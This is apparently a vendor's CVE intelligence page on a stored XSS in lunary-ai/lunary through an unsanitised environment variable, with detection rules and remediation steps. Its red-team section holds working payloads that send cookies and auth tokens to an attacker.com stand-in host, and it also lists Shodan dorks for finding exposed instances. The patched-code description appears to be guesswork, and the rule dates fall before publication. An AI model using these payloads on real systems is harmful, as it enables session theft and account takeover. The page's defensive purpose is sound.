☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 8.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-5352

CVE-2025-5352 Cross-Site Scripting in Lunary-ai
📅 PUBLISHED: 2025-08-23 06:56 UTC 🔄 UPDATED: 2026-08-13 10:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.22%
👁️
0.22% probability
5.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 8.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
8.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-5352 is a critical stored Cross-Site Scripting (XSS) vulnerability in the Analytics component of lunary-ai/lunary versions up to 1.9.23. The vulnerability arises from the direct injection of the NEXT_PUBLIC_CUSTOM_SCRIPT environment variable into the DOM using dangerouslySetInnerHTML without any sanitization or validation. An attacker who can control this environment variable during deployment or through server compromise can execute arbitrary JavaScript in all users' browsers. This can lead to complete account takeover, data exfiltration, malware distribution, and persistent attacks affecting all users until the environment variable is cleaned. The issue is fixed in version 1.9.25.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is in the lunary-ai/lunary npm package. The NEXT_PUBLIC_CUSTOM_SCRIPT environment variable is a build-time configuration that, if compromised, can affect all users of the deployed application. Organizations using this package should immediately audit their deployment pipelines to ensure the environment variable is not controlled by untrusted sources. The fix in version 1.9.25 removes the dangerous injection and adds proper sanitization.

CVSS Breakdown & Threat Level

  • CVSS Score: 8.1 (High)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: High (C:H)
  • Integrity Impact: High (I:H)
  • Availability Impact: High (A:H)

The high CVSS score reflects the ease of exploitation (no privileges or user interaction required) and the severe impact on confidentiality, integrity, and availability. An attacker can execute arbitrary JavaScript in the context of all users' browsers, leading to full account takeover and data theft.

Deep Dive & Mechanics

The vulnerability is in the Analytics component of lunary-ai/lunary. The application uses a Next.js environment variable NEXT_PUBLIC_CUSTOM_SCRIPT to allow administrators to inject custom scripts for analytics or other purposes. This variable is directly rendered into the DOM using React's dangerouslySetInnerHTML method without any sanitization.

// Vulnerable code (simplified)
function AnalyticsComponent() {
  const customScript = process.env.NEXT_PUBLIC_CUSTOM_SCRIPT;
  return (
    <div dangerouslySetInnerHTML={{ __html: customScript }} />
  );
}

Since NEXT_PUBLIC_CUSTOM_SCRIPT is a public environment variable (prefixed with NEXT_PUBLIC_), it is embedded into the client-side JavaScript bundle at build time. An attacker who can control this variable—either by compromising the build server, the CI/CD pipeline, or the environment configuration—can inject arbitrary HTML and JavaScript. This script will then execute in the browser of every user who visits the application.

The attack is persistent because the injected script is part of the application's source code until the environment variable is cleaned and the application is rebuilt. This makes it a stored XSS vulnerability.

Vulnerable vs. Patched Code

Vulnerable Code (version < 1.9.25):

// In Analytics component
const customScript = process.env.NEXT_PUBLIC_CUSTOM_SCRIPT;
return (
  <div dangerouslySetInnerHTML={{ __html: customScript }} />
);

Patched Code (version 1.9.25):

// In Analytics component
const customScript = process.env.NEXT_PUBLIC_CUSTOM_SCRIPT;
// Sanitize the script using DOMPurify or similar
const sanitizedScript = DOMPurify.sanitize(customScript);
return (
  <div dangerouslySetInnerHTML={{ __html: sanitizedScript }} />
);

The patch introduces sanitization using a library like DOMPurify to remove malicious content from the injected script. Alternatively, the patched version may have removed the dangerouslySetInnerHTML usage entirely and replaced it with a safer method, such as using a <script> tag with a nonce or Content Security Policy (CSP).

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Access to the build server or CI/CD pipeline to modify the NEXT_PUBLIC_CUSTOM_SCRIPT environment variable.
  • Alternatively, compromise the server hosting the application to modify the environment configuration.

Exploitation Steps:

  1. Set the malicious environment variable:

    export NEXT_PUBLIC_CUSTOM_SCRIPT='<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>'
    
  2. Rebuild and redeploy the application:

    npm run build
    npm run start
    
  3. All users visiting the application will have their cookies exfiltrated to the attacker's server.

Advanced Payload (Account Takeover):

<script>
// Steal session token and send to attacker
const token = localStorage.getItem('auth_token');
fetch('https://attacker.com/steal', { method: 'POST', body: token });
// Perform actions on behalf of the user
</script>

Blue Team

Detection Steps:

  1. Audit Environment Variables: Check all deployment environments for the NEXT_PUBLIC_CUSTOM_SCRIPT variable. Ensure it is not set to any value unless absolutely necessary, and if set, verify its content.

  2. Review Build Logs: Look for any unauthorized changes to the build configuration or environment variables in CI/CD logs.

  3. Monitor Network Traffic: Look for outbound connections to unknown domains from the application's frontend.

  4. Implement CSP: Add a Content Security Policy header that restricts script execution:

    Content-Security-Policy: script-src 'self' https://trusted-cdn.com;
    
  5. Use Subresource Integrity (SRI): Ensure all external scripts are loaded with integrity hashes.

Indicators of Compromise (IOCs)

  • Environment Variable: NEXT_PUBLIC_CUSTOM_SCRIPT set to a non-empty value containing <script> tags or suspicious JavaScript.
  • Network Traffic: Outbound HTTP/HTTPS requests from the application to unknown or attacker-controlled domains.
  • DOM Anomalies: Unexpected <script> elements or inline event handlers in the application's HTML source.
  • Build Artifacts: Modified JavaScript bundles containing injected code from the environment variable.

Detection Engineering

YARA Rule

rule CVE_2025_5352_Lunary_XSS {
    meta:
        description = "Detects the use of dangerouslySetInnerHTML with NEXT_PUBLIC_CUSTOM_SCRIPT in lunary-ai/lunary"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-5352"
        severity = "critical"
    strings:
        $dangerous = "dangerouslySetInnerHTML"
        $env_var = "NEXT_PUBLIC_CUSTOM_SCRIPT"
        $script_tag = /<script[^>]*>/
    condition:
        $dangerous and $env_var and $script_tag
}

Sigma Rule

title: CVE-2025-5352 - Stored XSS via NEXT_PUBLIC_CUSTOM_SCRIPT
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit stored XSS in lunary-ai/lunary by injecting malicious scripts via the NEXT_PUBLIC_CUSTOM_SCRIPT environment variable.
author: Valters IT
date: 2025-04-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-5352
logsource:
    category: application
    product: lunary
detection:
    selection:
        env_var: "NEXT_PUBLIC_CUSTOM_SCRIPT"
        script_content|contains: "<script"
    condition: selection
falsepositives:
    - Legitimate use of custom scripts for analytics (should be rare and reviewed)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-5352 - Stored XSS via NEXT_PUBLIC_CUSTOM_SCRIPT"; flow:to_server; content:"NEXT_PUBLIC_CUSTOM_SCRIPT"; content:"<script"; within:100; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Action: Upgrade to lunary-ai/lunary version 1.9.25 or later.
  2. Environment Variable Audit: Remove or sanitize the NEXT_PUBLIC_CUSTOM_SCRIPT variable in all environments. If custom scripts are needed, use a secure method such as a Content Security Policy nonce or a dedicated backend endpoint.
  3. CI/CD Security: Restrict access to build servers and CI/CD pipelines. Use secrets management tools to prevent unauthorized modification of environment variables.
  4. Web Application Firewall (WAF): Deploy WAF rules to block requests containing <script> tags in environment variable values.
  5. Content Security Policy: Implement a strict CSP that only allows scripts from trusted sources.
  6. Regular Security Audits: Conduct code reviews and penetration testing to identify similar injection vulnerabilities.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Lunary"
http.html:"NEXT_PUBLIC_CUSTOM_SCRIPT"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-5352/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.